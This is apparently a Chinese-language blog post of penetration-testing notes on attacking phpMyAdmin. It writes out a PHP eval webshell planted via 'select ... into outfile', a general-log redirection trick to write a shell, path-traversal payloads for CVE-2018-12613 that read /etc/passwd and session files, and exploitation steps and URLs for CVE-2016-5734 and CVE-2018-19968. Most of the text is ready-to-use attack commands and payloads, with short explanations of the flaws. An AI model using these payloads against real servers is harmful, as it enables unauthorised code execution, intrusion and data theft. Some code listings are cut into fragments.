phpmyadmin漏洞利用
phpmyadmin漏洞利用
获取版本信息
访问
1 | readme.php |
getshell
使用爆破工具 , 或者得到账号密码 直接登录
写入文件
1 | 条件 |
- 获取路径方法
1 | phpinfo |
- 查询写权限
1 | SHOW VARIABLES LIKE 'secure_file_priv' |
- 写一句话
1 | select "<?php @eval($_POST[123]);?>" into outfile "\\xx\\xx\\xxx.php" |
利用日志getshell
开启日志
1
2查看日志是否开启
SHOW VARIABLES LIKE 'general_log%'开启日志
1
2
3
4
5
6开启日志
set global general_log='on';
修改日志路径
set global general_log_file="xx\\xx\\xx\\xx.php";
查看开启情况
SHOW VARIABLES LIKE "general_log%";写入shell
1
任意执行sql语句
cve-2018-12613后台文件包含
版本4.8.0和4.8.1
漏洞分析
index.php 55-63行
1 | if (! empty($_REQUEST['target']) |
$target_blacklist
index.php 50-52行
1 | $target_blacklist = array ( |
checkPageValidity()函数
Core.php 443-476行
1 | public static function checkPageValidity(&$page, array $whitelist = []) |
原意是当target值带有参数时能够正确包含 , 但是当传有?或者%3f或者%253f
和前面的字符串在$whitelist
里面时都会使其绕过检查
$whitelist
1 | public static $goto_whitelist = array( |
要利用的就是index.php
中的include
函数 , 则需要checkPageValidity()
函数返true
payload
1 | ?target=db_datadict.php?/../../../../../../../../etc/passwd |
这些都可以绕过
利用方法
包含敏感文件
包含上传文件
开启并包含日志
包含
phpsession
文件1
2
3先执行一句sql语句 select '<?php phpinfo();?>';
包含?target=db_datadict.php%253f/../../../tmp/tmp/sess_xxxxx
phpsession文件名在cookie中找到
CVE-2016-5734 RCE
影响版本
1 | phpmyadmin4.3.0-4.6.2 |
漏洞原因
1 | 在php5.4.7以前 , preg_replace函数有漏洞 , 可以/0进行截断,将正则修改为/e模式,从而执行命令 |
使用脚本攻击
1 | searchsploit phpmyadmin |
CVE-2018-19968
影响版本: phpMyAdmin 4.8.0~4.8.3
原因
1 | Transformation是phpMyAdmin中的一个高级功能,通过Transformation可以对每个字段的内容使用不同的转换,每个字段中的内容将被预定义的规则所转换。比如我们有一个存有文件名的字段 ‘Filename’,正常情况下 phpMyAdmin 只会将路径显示出来。但是通过Transformation我们可以将该字段转换成超链接,我们就能直接在 phpMyAdmin 中点击并在浏览器的新窗口中看到这个文件。 |
利用
1 | 登录后台后创建数据库 |
访问http://target/com/chk_rel.php?fixall_pmadb=1&db=test111
1 | 插入数据 , 执行 |
访问/tbl_replace.php?db=test111&table=test1111&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!